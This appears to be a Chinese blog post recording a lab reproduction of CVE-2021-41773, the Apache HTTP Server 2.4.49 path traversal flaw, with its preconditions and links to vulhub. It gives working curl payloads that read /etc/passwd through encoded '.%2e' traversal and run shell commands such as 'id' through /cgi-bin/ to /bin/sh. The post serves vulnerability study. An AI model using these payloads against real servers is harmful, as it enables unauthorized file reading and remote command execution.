漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞

自己的一次简单的漏洞复现记录
学习请移步:https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
  • https://httpd.apache.org/security/vulnerabilities_24.html
    漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
    文章图片
  • 影响版本:=2.4.49
  • 利用条件:穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的:Require all denied
满足以上两个条件即可造成路径穿越,可以进行任意文件读取
注意:这里的/icons/必须是一个存在且可访问的目录
payload
curl -v --path-as-is http://your-ip:your-port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
文章图片

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
文章图片

在服务端开启了cgicgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
文章图片

ScriptAliasAlias指令非常相似,都是定义了映射到一个特定目录的URL前缀,两者一般都用于指定位于DocumentRoot以外的目录,其不同之处是ScriptAlias又多了一层含义,即URL前缀后面的任何文件都被视为CGI程序。所以,上述配置会指示Apache任何以/cgi-bin/开头的资源都将映射到/usr/local/apache2/cgi-bin/目录中,且视之为CGI程序
payload
curl --data "echo; id" 'http://your-ip:your-port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
文章图片

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/shecho; cat /etc/passwd

【漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞】漏洞复现|CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
文章图片

    推荐阅读